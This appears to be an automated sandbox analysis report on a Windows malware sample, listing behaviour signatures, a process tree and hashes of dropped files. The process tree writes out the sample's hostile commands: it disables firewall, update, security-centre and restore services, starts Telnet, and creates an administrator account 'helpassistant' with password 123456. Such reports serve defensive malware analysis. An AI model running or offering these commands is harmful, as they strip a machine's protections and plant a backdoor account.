Analysis

  • max time kernel
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260630-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/06/2026, 12:12

General

  • Target
    2026-06-29_1efe654e82b4c36183c1576daed16be4_cloudeye_elex_hijackloader_redline-stealer_rhadamanthys_smoke-loader_tofsee.exe
  • Size 3.1MB
  • Sample260630-pc8m7aev4t
  • SHA256 147e530fa9a5b0b8d601a5055e89c2960597a485c72c4fc2c8c756a7d06f9ea2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables service(s) 3 TTPs
  • Executes dropped EXE 2 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops file in System32 directory 4 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-29_1efe654e82b4c36183c1576daed16be4_cloudeye_elex_hijackloader_redline-stealer_rhadamanthys_smoke-loader_tofsee.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-29_1efe654e82b4c36183c1576daed16be4_cloudeye_elex_hijackloader_redline-stealer_rhadamanthys_smoke-loader_tofsee.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4260
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5940
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5304
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1392
    • C:\Users\Admin\AppData\Local\Temp\2026-06-29_1efe654e82b4c36183c1576daed16be4_cloudeye_elex_hijackloader_redline-stealer_rhadamanthys_smoke-loader_tofsee~4.exe
      2026-06-29_1efe654e82b4c36183c1576daed16be4_cloudeye_elex_hijackloader_redline-stealer_rhadamanthys_smoke-loader_tofsee~4.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:6012
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6552
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6256
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3008
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wuauserv
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6884
      • C:\Windows\SysWOW64\net.exe
        net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2384
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5688
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wscsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5816
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:984
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:6528
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop srservice
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6624
      • C:\Windows\SysWOW64\net.exe
        net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4320
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          PID:6440
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net start TlntSvr
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2196
      • C:\Windows\SysWOW64\net.exe
        net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5100
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5812
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user helpassistant 123456
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4344
      • C:\Windows\SysWOW64\net.exe
        net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6180
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4836
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net localgroup administrators helpassistant /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2016
      • C:\Windows\SysWOW64\net.exe
        net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3996
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2464
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:6812
    • C:\Windows\SysWOW64\sc.exe
      sc config SharedAccess start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1228
    • C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1112
    • C:\Windows\SysWOW64\sc.exe
      sc config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1072
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3392

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        7z.exe

        • Path C:\Program Files\7-Zip\7z.exe
        • Size 3.5MB
        • SHA256 8e501aa5ed4f0d31b9cbb07cab1f7a2c019db4e53d1c7bf50d528bd3a6796185
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zFM.exe

        • Path C:\Program Files\7-Zip\7zFM.exe
        • Size 3.9MB
        • SHA256 fb6d2a631c41ac768a2ddaae954fcc4a6f12eebc3529fb36f4188f636d6ddf84
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zG.exe

        • Path C:\Program Files\7-Zip\7zG.exe
        • Size 3.6MB
        • SHA256 c75399c60dbdba29606b75cde1526a08dbb2454752f9920e660d8f9145d5d343
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Uninstall.exe

        • Path C:\Program Files\7-Zip\Uninstall.exe
        • Size 2.9MB
        • SHA256 9f307fa410bbf0fd3ddaa1f735da9498f575d9446f7950adb9b9fe7b2bffbf95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrmstp.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        • Size 9.0MB
        • SHA256 568c83bcd320c062bdd237cc86d25cbbabef8672c6f2f6cbc50c01dd7203398b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_pwa_launcher.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
        • Size 4.6MB
        • SHA256 f86fe5e437bcdbc87e12e6fba9a9d70d2d9ed724b5994a8a8d0e73bfecd9d1a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevated_tracing_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe
        • Size 6.4MB
        • SHA256 f7c47837d172e720ed33780a40353d5b6d92e3b502a4b76956059c5f87478784
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevation_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        • Size 5.2MB
        • SHA256 9bbfd9907d049f6e2a3aa7be69162bcd2eb2e432247de1b4ef241564cf442d2b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        notification_helper.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe
        • Size 4.6MB
        • SHA256 7c7010c22d236f051ae4ea5741ac58e67969637187650f42b64ff5e733cd94be
        • MD5 SHA1 SHA512 SSDEEP TLSH

        os_update_handler.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe
        • Size 4.8MB
        • SHA256 61549a45c6b91feeac61a90876d2e18939579a2146de24112b4d47d678f06dee
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome.exe

        • Path C:\Program Files\Google\Chrome\Application\chrome.exe
        • Size 6.0MB
        • SHA256 a16717524de162ba64748aef9ef18887709cda54f20bab33209afce906192e5f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_proxy.exe

        • Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
        • Size 4.4MB
        • SHA256 13ad2de4b90db6fd1cb48ceaffc9edebf5327a20e867e13589c0d0453c097fda
        • MD5 SHA1 SHA512 SSDEEP TLSH

        appletviewer.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe
        • Size 3.0MB
        • SHA256 67237485c9e260a06eff6a9dd1c8dfd3fb7f351b63ef0b1243d8ecd028973299
        • MD5 SHA1 SHA512 SSDEEP TLSH

        extcheck.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\extcheck.exe
        • Size 3.0MB
        • SHA256 1078eba582f58245be11ef07974b8afa2a69b31830ed5aa2929d997194ac0597
        • MD5 SHA1 SHA512 SSDEEP TLSH

        idlj.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\idlj.exe
        • Size 3.0MB
        • SHA256 52cf94a692b0bb8ebb56164272375fd15b188edc18d9fe6611e632da65be66b4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jabswitch.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe
        • Size 3.0MB
        • SHA256 658268830817e75a5083bd0844f1d97e9455d924e00edb402320212319e4c837
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jar.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jar.exe
        • Size 3.0MB
        • SHA256 817a5a98a698e73604d6a2c6eec9a4709d366773ef8cef802b4f6fa4add703e3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dotnet.exe

        • Path C:\Program Files\dotnet\dotnet.exe
        • Size 3.1MB
        • SHA256 e124b6435bc7e1e07c9c6c6ed31c324afe4cd4def863e33c3ef61a5ad80e3c7e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
        • Size 3.0MB
        • SHA256 f8c5dff9345e6d21a5035ccc4447c58e052bc45e96913532521a02da27646191
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
        • Size 3.0MB
        • SHA256 f75741f828ef3ec70de4f4b5d92eaaff873f62eea7c10577d10831b21629338f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
        • Size 3.0MB
        • SHA256 a92ffae0d4bdef85d82b057078e9bab0b1836ae58def72701dbee88b2a0c9858
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2026-06-29_1efe654e82b4c36183c1576daed16be4_cloudeye_elex_hijackloader_redline-stealer_rhadamanthys_smoke-loader_tofsee~4.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2026-06-29_1efe654e82b4c36183c1576daed16be4_cloudeye_elex_hijackloader_redline-stealer_rhadamanthys_smoke-loader_tofsee~4.exe
        • Size 147KB
        • SHA256 820f7b8fcba857f6c99736db09bf996d8cfa34d4da23f79700f7c0ebd0f4c74b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Option.bat

        • Path C:\Windows\SysWOW64\Option.bat
        • Size 53B
        • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
        • MD5 SHA1 SHA512 TLSH

        UpdatAuto.exe

        • Path C:\Windows\SysWOW64\UpdatAuto.exe
        • Size 2.9MB
        • SHA256 bbf8a59da4025cbc685c76c775eee5fb092026cae07ee18be6481b648e3c653c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.9MB
        • SHA256 8e4f964d9bde03473c498bbb8ed50bff773e2569936f0529209fa380d5037710
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.9MB
        • SHA256 a2f5b248d3cd36c706419422b8484d1db84f46a5047e5380c666983c42fdcdf9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.9MB
        • SHA256 fb7e277ca5e2ca0d454de70d38bcd60966c00b52400198d98eabfc4eafb6da44
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.9MB
        • SHA256 82190cd353eed8441804ad2090f5dc8b36bf93788e7bd317a785a472dfe4e61d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.9MB
        • SHA256 7fda18ea80353101ec33eb53df3aa8ca3e3c2c6df3a8808b11637ae95a93c275
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.9MB
        • SHA256 e4901e3064ae62706d38165d67c5b130e79acf1aa2c1409896203cdaa5d5b9cc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.9MB
        • SHA256 0ad6ae52d05432c6a36dcdf089d1b4abffc5a8413a822dc24222fc048b28c556
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.9MB
        • SHA256 ffb0b6bff68454abd7aa0de27ad9bbf18a42202175c02e775c362621ef0ac911
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.9MB
        • SHA256 58a41b3f1884c15531422a9dfde493ee3f9bef950d1e3dc1ef87fa6a57db63bc
        • MD5 SHA1 SHA512 SSDEEP TLSH